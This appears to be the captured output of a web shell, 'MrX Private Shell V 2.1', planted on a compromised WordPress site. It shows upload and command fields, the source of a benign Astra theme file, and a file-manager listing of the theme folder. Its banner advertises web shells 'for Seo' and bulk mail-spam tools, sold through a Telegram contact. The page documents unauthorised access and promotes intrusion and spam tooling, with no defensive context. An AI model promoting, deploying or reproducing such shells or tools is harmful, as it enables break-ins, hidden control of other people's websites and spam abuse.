__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * Web Stories Compatibility File.
 *
 * @link https://wp.stories.google/
 *
 * @package Astra
 */

// If plugin - 'Google\Web_Stories' not exist then return.
if ( ! defined( 'WEBSTORIES_VERSION' ) ) {
	return;
}

/**
 * Astra Web_Stories Compatibility
 *
 * @since 3.2.0
 */
class Astra_Web_Stories {
	/**
	 * Constructor
	 *
	 * @since 3.2.0
	 * @return void
	 */
	public function __construct() {
		add_action( 'after_setup_theme', array( $this, 'web_stories_setup' ) );
		add_action( apply_filters( 'astra_web_stories_position', 'astra_body_top' ), array( $this, 'web_stories_embed' ) );
		add_filter( 'astra_dynamic_theme_css', array( $this, 'web_stories_css' ) );
	}

	/**
	 * Add theme support for Web Stories.
	 *
	 * @since 3.2.0
	 * @return void
	 */
	public function web_stories_setup() {
		add_theme_support( 'web-stories' );
	}

	/**
	 * Custom render function for Web Stories Embedding.
	 *
	 * @since 3.2.0
	 * @return void
	 */
	public function web_stories_embed() {
		if ( ! function_exists( '\Google\Web_Stories\render_theme_stories' ) ) {
			return;
		}

		// Embed web stories above header with pre-configured customizer settings.
		\Google\Web_Stories\render_theme_stories();
	}

	/**
	 * Add dynamic CSS for the webstories.
	 *
	 * @since 3.2.0
	 *
	 * @param  string $dynamic_css          Astra Dynamic CSS.
	 * @param  string $dynamic_css_filtered Astra Dynamic CSS Filters.
	 *
	 * @return String Generated dynamic CSS for Heading Colors.
	 */
	public function web_stories_css( $dynamic_css, $dynamic_css_filtered = '' ) {
		// Using function check instead of class as there can be changes in the web stories plugin later, see 1.7.1 release https://github.com/google/web-stories-wp/pull/7266/files.
		if ( ! function_exists( '\Google\Web_Stories\render_theme_stories' ) ) {
			return $dynamic_css;
		}

		$options = get_option( 'web_stories_customizer_settings' );

		// bail if web stories are not enabled on the frontend.
		if ( empty( $options['show_stories'] ) || true !== $options['show_stories'] ) {
			return $dynamic_css;
		}

		$stories_css_array = array(
			'.web-stories-list.web-stories-list--customizer.is-view-type-circles' => array(
				'border-bottom' => '1px solid #ccc',
				'padding'       => '15px 0',
				'margin-bottom' => '0',
			),
		);

		$dynamic_css .= astra_parse_css( $stories_css_array );

		return $dynamic_css;
	}

}

new Astra_Web_Stories();

Filemanager

Name Type Size Permission Actions
edd Folder 0750
learndash Folder 0750
lifterlms Folder 0750
starter-content Folder 0750
surecart Folder 0750
woocommerce Folder 0750
class-astra-amp.php File 47.12 KB 0640
class-astra-bb-ultimate-addon.php File 11.06 KB 0640
class-astra-beaver-builder.php File 5.63 KB 0640
class-astra-beaver-themer.php File 11.29 KB 0640
class-astra-bne-flyout.php File 1.14 KB 0640
class-astra-contact-form-7.php File 1.29 KB 0640
class-astra-divi-builder.php File 1.12 KB 0640
class-astra-elementor-pro.php File 17.79 KB 0640
class-astra-elementor.php File 17.26 KB 0640
class-astra-gravity-forms.php File 1.31 KB 0640
class-astra-gutenberg.php File 6.21 KB 0640
class-astra-jetpack.php File 1.48 KB 0640
class-astra-site-origin.php File 1.16 KB 0640
class-astra-starter-content.php File 6.44 KB 0640
class-astra-ubermeu.php File 1.77 KB 0640
class-astra-visual-composer.php File 3.39 KB 0640
class-astra-web-stories.php File 2.35 KB 0640
class-astra-yoast-seo.php File 658 B 0640
index.php File 111 B 0640
Filemanager